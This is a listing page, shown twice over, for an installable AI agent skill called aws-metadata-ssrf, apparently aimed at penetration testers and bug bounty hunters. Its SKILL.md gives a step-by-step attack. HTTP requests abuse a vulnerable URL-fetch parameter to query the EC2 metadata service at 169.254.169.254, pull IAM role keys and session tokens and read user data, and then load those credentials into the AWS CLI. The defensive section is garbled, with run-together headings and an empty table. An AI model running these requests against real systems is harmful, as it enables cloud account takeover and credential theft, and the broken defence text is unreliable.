aws-metadata-ssrf

Name: aws-metadata-ssrf
Author: ShulkwiSEC

18stars5forks

How to install aws-metadata-ssrf?

shulkwisec/bb-huge/aws-metadata-ssrf

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-metadata-ssrf

Installs into the current project.

Summary

Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMD

Files · 1

View on GitHub

SKILL.md

1	# AWS IMDS SSRF Exploitation
2
3	## When to Use
4	- During a penetration test of a web application hosted on AWS EC2 or ECS that exhibits SSRF vulnerabilities.
5	- To demonstrate impact by escalating from a web vulnerability to AWS cloud infrastructure compromise via IAM credential theft.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying the SSRF
17
18	```http
19	# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
20	Host: target.app
21	```
22
23	### Phase 2: Querying AWS IMDSv1
24
25	```http
26	# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
27	Host: target.app
28	```
29
30	### Phase 3: Extracting IAM Roles and Credentials
31
32	```http
33	# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
34
35	# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1
36	```
37	(The response will contain a JSON object with `AccessKeyId`, `SecretAccessKey`, and `Token`)
38
39	### Phase 4: Accessing User Data
40
41	```http
42	# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1
43	```
44	(User Data often contains sensitive initialization scripts, database passwords, or API keys).
45
46	#### Decision Point 🔀
47	```mermaid
48	flowchart TD
49	A[Send IMDS Payload ] --> B{Response 200 OK? }
50	B -->\|Yes\| C[Extract Data ]
51	B -->\|No/401\| D[IMDSv2 Enforced? ]
52	C --> E[Configure AWS CLI ]
53	```
54
55	## 🔵 Blue Team Detection & Defense
56	- Migrate to IMDSv2: Network Restrictions: Least Privilege IAM: Key Concepts
57	\| Concept \| Description \|
58	\|---------\|-------------\|
59	## Output Format
60	```
61	Aws Metadata Ssrf — Assessment Report
62	============================================================
63	Target: [Target identifier]
64	Assessor: [Operator name]
65	Date: [Assessment date]
66	Scope: [Authorized scope]
67	MITRE ATT&CK: [Relevant technique IDs]
68
69	Findings Summary:
70	[Finding 1]: [Severity] — [Brief description]
71	[Finding 2]: [Severity] — [Brief description]
72
73	Detailed Results:
74	Phase 1: [Phase name]
75	- Result: [Outcome]
76	- Evidence: [Screenshot/log reference]
77	- Impact: [Business impact assessment]
78
79	Phase 2: [Phase name]
80	- Result: [Outcome]
81	- Evidence: [Screenshot/log reference]
82	- Impact: [Business impact assessment]
83
84	Risk Rating: [Critical/High/Medium/Low/Informational]
85	Recommendations:
86	1. [Immediate remediation step]
87	2. [Long-term hardening measure]
88	3. [Monitoring/detection improvement]
89	```
90
91
92	## 📚 Shared Resources
93	> For cross-cutting methodology applicable to all vulnerability classes, see:
94	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
95	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
96	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
97
98	## References
99	- AWS Docs: [Instance Metadata Service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)
100	- Rhino Security Labs: [AWS IAM Privilege Escalation](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

People who liked this also viewed

6 picks

Type

aws-metadata-ssrf

18stars5forks

View on GitHub

How to install aws-metadata-ssrf?

shulkwisec/bb-huge/aws-metadata-ssrf

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-metadata-ssrf

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AWS IMDS SSRF Exploitation
2
3	## When to Use
4	- During a penetration test of a web application hosted on AWS EC2 or ECS that exhibits SSRF vulnerabilities.
5	- To demonstrate impact by escalating from a web vulnerability to AWS cloud infrastructure compromise via IAM credential theft.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying the SSRF
17
18	```http
19	# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
20	Host: target.app
21	```
22
23	### Phase 2: Querying AWS IMDSv1
24
25	```http
26	# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
27	Host: target.app
28	```
29
30	### Phase 3: Extracting IAM Roles and Credentials
31
32	```http
33	# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
34
35	# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1
36	```
37	(The response will contain a JSON object with `AccessKeyId`, `SecretAccessKey`, and `Token`)
38
39	### Phase 4: Accessing User Data
40
41	```http
42	# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1
43	```
44	(User Data often contains sensitive initialization scripts, database passwords, or API keys).
45
46	#### Decision Point 🔀
47	```mermaid
48	flowchart TD
49	A[Send IMDS Payload ] --> B{Response 200 OK? }
50	B -->\|Yes\| C[Extract Data ]
51	B -->\|No/401\| D[IMDSv2 Enforced? ]
52	C --> E[Configure AWS CLI ]
53	```
54
55	## 🔵 Blue Team Detection & Defense
56	- Migrate to IMDSv2: Network Restrictions: Least Privilege IAM: Key Concepts
57	\| Concept \| Description \|
58	\|---------\|-------------\|
59	## Output Format
60	```
61	Aws Metadata Ssrf — Assessment Report
62	============================================================
63	Target: [Target identifier]
64	Assessor: [Operator name]
65	Date: [Assessment date]
66	Scope: [Authorized scope]
67	MITRE ATT&CK: [Relevant technique IDs]
68
69	Findings Summary:
70	[Finding 1]: [Severity] — [Brief description]
71	[Finding 2]: [Severity] — [Brief description]
72
73	Detailed Results:
74	Phase 1: [Phase name]
75	- Result: [Outcome]
76	- Evidence: [Screenshot/log reference]
77	- Impact: [Business impact assessment]
78
79	Phase 2: [Phase name]
80	- Result: [Outcome]
81	- Evidence: [Screenshot/log reference]
82	- Impact: [Business impact assessment]
83
84	Risk Rating: [Critical/High/Medium/Low/Informational]
85	Recommendations:
86	1. [Immediate remediation step]
87	2. [Long-term hardening measure]
88	3. [Monitoring/detection improvement]
89	```
90
91
92	## 📚 Shared Resources
93	> For cross-cutting methodology applicable to all vulnerability classes, see:
94	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
95	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
96	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
97
98	## References
99	- AWS Docs: [Instance Metadata Service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)
100	- Rhino Security Labs: [AWS IAM Privilege Escalation](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

People who liked this also viewed

6 picks

Type